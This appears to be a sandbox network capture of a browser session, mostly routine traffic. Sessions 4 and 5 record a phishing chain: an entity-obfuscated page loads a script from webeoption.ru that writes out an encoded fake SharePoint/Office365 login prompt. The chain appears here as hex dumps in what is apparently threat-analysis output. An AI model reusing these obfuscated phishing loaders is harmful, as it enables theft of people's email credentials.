2024-04-19 14:56:02 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-04-19 14:56:02 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Fri, 19 Apr 2024 14:56:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:08 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UOse9dHCRbAZXnp&MD=2n+wELZu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-19 14:56:08 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8c463cb6-7ed1-4c48-8dd2-334f97c64ddd MS-RequestId: 9ed9bef5-5b4b-482d-9237-af13b339d298 MS-CV: Fwz2azUKTEek/uVx.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 19 Apr 2024 14:56:08 GMT Connection: close Content-Length: 24490
2024-04-19 14:56:08 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-19 14:56:08 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49724	172.67.134.189	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:16 UTC	673	OUT	GET /351-h46.htm HTTP/1.1 Host: 3245.tarafhaber.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:16 UTC	627	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 19:46:15 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J9UUEZaFEcsV4LohAdWCFVLCU0Z3ze5n%2F8hASJusJUib5CDFXNBmcGb52Pv0h3dHIs1agJTSEJDzzgkpY32W4MOB5LTqpT5J32foo5iaLL%2FsyfUMzFFphT0RvC5LWTNcn7Jw2G7o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dbd85bb006789-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:16 UTC	280	IN	Data Raw: 31 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 31 31 36 3b 26 23 31 31 32 3b 26 23 31 31 35 3b 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 31 31 39 3b 26 23 31 30 31 3b 26 23 39 38 3b 26 23 31 30 31 3b 26 23 31 31 31 3b 26 23 31 31 32 3b 26 23 31 31 36 3b 26 23 31 30 35 3b 26 23 31 31 31 3b 26 23 31 31 30 3b 26 23 34 36 3b 26 23 31 31 34 3b 26 23 31 31 37 3b 26 23 34 37 3b 26 23 36 36 3b 26 23 37 36 3b 26 23 36 35 3b 26 23 37 35 3b 26 23 37 37 3b 26 23 36 35 3b 26 23 37 38 3b 26 23 34 35 3b 26 23 34 38 3b 26 23 35 31 3b 26 23 34 35 3b 26 23 34 38 3b 26 23 35 33 3b 26 23 34 36 3b 26 23 31 30 36 3b 26 23 31 31 35 3b 22 3e Data Ascii: 111<!DOCTYPE html><html><head><script src="https://webeoption.ru/BLAKMAN-03-05.js">
2024-04-19 14:56:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49726	104.21.59.166	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:17 UTC	532	OUT	GET /BLAKMAN-03-05.js HTTP/1.1 Host: webeoption.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:17 UTC	666	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:17 GMT Content-Type: application/javascript Content-Length: 68301 Connection: close Last-Modified: Wed, 03 Apr 2024 10:24:16 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5461 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bBFjd7FLRc6WnETVzaS6hdzTbLM8qXdXadpQMIPSNIecB%2BQjxD%2F2KmRvnqngLb2vFccEdO20SFtiOQKNsSRVVClJfRXc7RAgMFDVnybHI2XHaOBw0OtxAw1F4h4G%2BkOg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dbd8c6bea4566-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:17 UTC	703	IN	Data Raw: 76 61 72 20 5f 30 78 31 37 33 64 38 39 3d 5f 30 78 35 35 65 38 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 30 63 63 28 29 7b 76 61 72 20 5f 30 78 65 63 31 36 33 31 3d 5b 27 31 36 39 35 31 34 34 44 73 59 55 63 44 27 2c 27 37 39 38 36 33 55 45 75 6e 43 56 27 2c 27 77 72 69 74 65 27 2c 27 32 35 32 38 31 56 41 76 51 59 76 27 2c 27 36 30 36 37 62 56 4b 54 76 44 27 2c 27 25 33 63 25 32 31 25 36 34 25 36 66 25 36 33 25 37 34 25 37 39 25 37 30 25 36 35 25 32 30 25 36 38 25 37 34 25 36 64 25 36 63 25 33 65 25 30 64 25 30 61 25 33 63 25 36 38 25 37 34 25 36 64 25 36 63 25 32 30 25 36 63 25 36 31 25 36 65 25 36 37 25 33 64 25 32 32 25 36 35 25 36 65 25 32 32 25 33 65 25 30 64 25 30 61 25 30 64 25 30 61 25 33 63 25 36 38 25 36 35 25 36 31 25 36 34 25 33 65 25 30 64 25 Data Ascii: var _0x173d89=_0x55e8;function _0x10cc(){var _0xec1631=['1695144DsYUcD','79863UEunCV','write','25281VAvQYv','6067bVKTvD','%3c%21%64%6f%63%74%79%70%65%20%68%74%6d%6c%3e%0d%0a%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%22%3e%0d%0a%0d%0a%3c%68%65%61%64%3e%0d%
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 30 25 37 34 25 32 32 25 32 30 25 37 33 25 37 32 25 36 33 25 33 64 25 32 32 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 61 25 32 66 25 32 66 25 36 33 25 36 66 25 36 34 25 36 35 25 32 65 25 36 61 25 37 31 25 37 35 25 36 35 25 37 32 25 37 39 25 32 65 25 36 33 25 36 66 25 36 64 25 32 66 25 36 61 25 37 31 25 37 35 25 36 35 25 37 32 25 37 39 25 32 64 25 33 33 25 32 65 25 33 31 25 32 65 25 33 31 25 32 65 25 36 64 25 36 39 25 36 65 25 32 65 25 36 61 25 37 33 25 32 32 25 33 65 25 33 63 25 32 66 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 64 25 32 32 25 37 34 25 36 35 25 37 Data Ascii: 0%74%22%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%63%6f%64%65%2e%6a%71%75%65%72%79%2e%63%6f%6d%2f%6a%71%75%65%72%79%2d%33%2e%31%2e%31%2e%6d%69%6e%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%7
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 25 33 64 25 32 32 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 61 25 32 66 25 32 66 25 36 64 25 36 31 25 37 38 25 36 33 25 36 34 25 36 65 25 32 65 25 36 32 25 36 66 25 36 66 25 37 34 25 37 33 25 37 34 25 37 32 25 36 31 25 37 30 25 36 33 25 36 34 25 36 65 25 32 65 25 36 33 25 36 66 25 36 64 25 32 66 25 36 32 25 36 66 25 36 66 25 37 34 25 37 33 25 37 34 25 37 32 25 36 31 25 37 30 25 32 66 25 33 34 25 32 65 25 33 30 25 32 65 25 33 30 25 32 66 25 36 33 25 37 33 25 37 33 25 32 66 25 36 32 25 36 66 25 36 66 25 37 34 25 37 33 25 37 34 25 37 32 25 36 31 25 37 30 25 32 65 25 36 64 25 36 39 25 36 65 25 32 65 25 36 33 25 37 33 25 37 33 25 32 32 25 32 30 25 36 39 25 36 65 25 37 34 25 36 35 25 36 37 25 37 32 25 36 39 25 37 34 25 37 39 25 33 64 25 32 32 25 37 33 Data Ascii: %3d%22%68%74%74%70%73%3a%2f%2f%6d%61%78%63%64%6e%2e%62%6f%6f%74%73%74%72%61%70%63%64%6e%2e%63%6f%6d%2f%62%6f%6f%74%73%74%72%61%70%2f%34%2e%30%2e%30%2f%63%73%73%2f%62%6f%6f%74%73%74%72%61%70%2e%6d%69%6e%2e%63%73%73%22%20%69%6e%74%65%67%72%69%74%79%3d%22%73
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 32 30 25 36 33 25 37 32 25 36 66 25 37 33 25 37 33 25 36 66 25 37 32 25 36 39 25 36 37 25 36 39 25 36 65 25 33 64 25 32 32 25 36 31 25 36 65 25 36 66 25 36 65 25 37 39 25 36 64 25 36 66 25 37 35 25 37 33 25 32 32 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 37 34 25 36 39 25 37 34 25 36 63 25 36 35 25 33 65 25 35 33 25 36 38 25 36 31 25 37 32 25 36 35 25 32 30 25 35 30 25 36 66 25 36 39 25 36 65 25 37 34 25 32 30 25 34 66 25 36 65 25 36 63 25 36 39 25 36 65 25 36 35 25 33 63 25 32 66 25 37 34 25 36 39 25 37 34 25 36 63 25 36 35 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 36 63 25 36 39 25 36 65 25 36 62 25 32 30 25 36 38 25 37 32 25 36 35 25 36 36 25 33 64 25 32 32 25 36 33 25 37 33 25 37 33 25 Data Ascii: 20%63%72%6f%73%73%6f%72%69%67%69%6e%3d%22%61%6e%6f%6e%79%6d%6f%75%73%22%3e%0d%0a%20%20%20%20%3c%74%69%74%6c%65%3e%53%68%61%72%65%20%50%6f%69%6e%74%20%4f%6e%6c%69%6e%65%3c%2f%74%69%74%6c%65%3e%0d%0a%20%20%20%20%3c%6c%69%6e%6b%20%68%72%65%66%3d%22%63%73%73%
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 32 32 25 36 33 25 36 66 25 36 63 25 32 64 25 36 63 25 36 37 25 32 64 25 33 36 25 32 30 25 36 64 25 37 38 25 32 64 25 36 31 25 37 35 25 37 34 25 36 66 25 32 30 25 36 64 25 37 39 25 32 64 25 33 35 25 32 30 25 37 30 25 37 38 25 32 64 25 33 35 25 32 30 25 37 30 25 36 32 25 32 64 25 33 35 25 32 32 25 32 30 25 37 33 25 37 34 25 37 39 25 36 63 25 36 35 25 33 64 25 32 32 25 36 32 25 36 66 25 37 32 25 36 34 25 36 35 25 37 32 25 33 61 25 33 31 25 37 30 25 37 38 25 32 30 25 37 33 25 36 66 25 36 63 25 36 39 25 36 34 25 33 62 25 32 30 25 36 32 25 36 31 25 36 33 25 36 62 25 36 37 25 37 32 25 36 66 25 37 35 25 36 Data Ascii: 0%20%20%20%20%20%20%3c%64%69%76%20%63%6c%61%73%73%3d%22%63%6f%6c%2d%6c%67%2d%36%20%6d%78%2d%61%75%74%6f%20%6d%79%2d%35%20%70%78%2d%35%20%70%62%2d%35%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%3b%20%62%61%63%6b%67%72%6f%75%6
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 25 37 34 25 32 64 25 36 65 25 36 66 25 37 32 25 36 64 25 36 31 25 36 63 25 32 32 25 33 65 25 35 34 25 36 66 25 32 30 25 37 32 25 36 35 25 36 31 25 36 34 25 32 30 25 37 34 25 36 38 25 36 35 25 32 30 25 36 34 25 36 66 25 36 33 25 37 35 25 36 64 25 36 35 25 36 65 25 37 34 25 32 63 25 32 30 25 37 30 25 36 63 25 36 35 25 36 31 25 37 33 25 36 35 25 32 30 25 36 33 25 36 38 25 36 66 25 36 66 25 37 33 25 36 35 25 32 30 25 37 39 25 36 66 25 37 35 25 37 32 25 32 30 25 36 35 25 36 64 25 36 31 25 36 39 25 36 63 25 32 30 25 37 30 25 37 32 25 36 66 25 37 36 25 36 39 25 36 34 25 36 35 25 37 32 25 32 30 25 36 32 25 36 35 25 36 63 25 36 66 25 37 37 25 32 30 25 36 63 25 36 66 25 36 37 25 36 39 25 36 65 25 32 30 25 37 34 25 36 66 25 32 30 25 37 36 25 36 39 25 36 35 25 37 37 Data Ascii: %74%2d%6e%6f%72%6d%61%6c%22%3e%54%6f%20%72%65%61%64%20%74%68%65%20%64%6f%63%75%6d%65%6e%74%2c%20%70%6c%65%61%73%65%20%63%68%6f%6f%73%65%20%79%6f%75%72%20%65%6d%61%69%6c%20%70%72%6f%76%69%64%65%72%20%62%65%6c%6f%77%20%6c%6f%67%69%6e%20%74%6f%20%76%69%65%77
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 32 33 25 36 31 25 36 61 25 36 31 25 37 38 25 34 64 25 36 66 25 36 34 25 36 31 25 36 63 25 32 32 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 32 32 25 32 30 25 36 64 25 37 34 25 32 64 25 33 32 25 32 32 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 Data Ascii: 23%61%6a%61%78%4d%6f%64%61%6c%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%63%6c%61%73%73%3d%22%20%6d%74%2d%32%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 32 66 25 36 31 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 Data Ascii: 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%61%3e%0d%0a%20%20%20%2
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 36 39 25 36 64 25 36 37 25 32 30 25 37 33 25 37 32 25 36 33 25 33 64 25 32 32 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 61 25 32 66 25 32 66 25 36 65 25 36 35 25 37 32 25 36 66 25 36 39 25 36 32 25 36 39 25 32 65 25 36 33 25 36 66 25 36 64 25 32 66 25 32 65 25 36 32 25 36 63 25 36 31 25 36 62 25 32 66 25 36 66 25 36 36 25 36 36 25 36 39 25 36 33 25 36 35 25 33 33 25 33 36 25 33 35 25 32 65 25 37 30 25 36 65 25 36 37 25 32 32 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 32 32 25 36 39 25 36 64 25 36 37 25 32 64 25 36 36 25 36 63 25 37 35 25 36 39 25 36 34 25 32 32 25 32 30 25 37 37 25 36 39 25 36 34 25 37 34 Data Ascii: %20%20%20%20%20%20%20%20%20%20%20%20%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%6e%65%72%6f%69%62%69%2e%63%6f%6d%2f%2e%62%6c%61%6b%2f%6f%66%66%69%63%65%33%36%35%2e%70%6e%67%22%20%63%6c%61%73%73%3d%22%69%6d%67%2d%66%6c%75%69%64%22%20%77%69%64%74
2024-04-19 14:56:17 UTC	1369	IN	Data Raw: 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 63 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 32 32 25 36 33 25 36 66 25 36 63 25 32 64 25 36 63 25 36 37 25 32 64 25 33 36 25 32 32 25 33 65 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 Data Ascii: 20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%63%6c%61%73%73%3d%22%63%6f%6c%2d%6c%67%2d%36%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49727	172.67.134.189	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:17 UTC	561	OUT	GET /css/hover.css HTTP/1.1 Host: 3245.tarafhaber.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://3245.tarafhaber.net/351-h46.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:18 UTC	620	IN	HTTP/1.1 404 Not Found Date: Fri, 19 Apr 2024 14:56:18 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F2QR5YXx85bsL73%2BZA4k8m9FY7exlwSiisyQaX4CcJ5mab5B41iAueE%2FtDsX4q9yS7Dhsbn%2BA9sjMgd5JgUYq9g9AbeD2MZIM4bFvcNGD06gwWAw7Ym9a8LswRZTD13QPd0C0Z%2F4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dbd905ad8b094-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:18 UTC	322	IN	Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying t
2024-04-19 14:56:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49729	151.101.2.137	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:17 UTC	625	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:18 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3306643 Date: Fri, 19 Apr 2024 14:56:18 GMT X-Served-By: cache-lga21947-LGA, cache-pdk-kfty2130072-PDK X-Cache: HIT, HIT X-Cache-Hits: 4941, 0 X-Timer: S1713538578.037899,VS0,VE1 Vary: Accept-Encoding
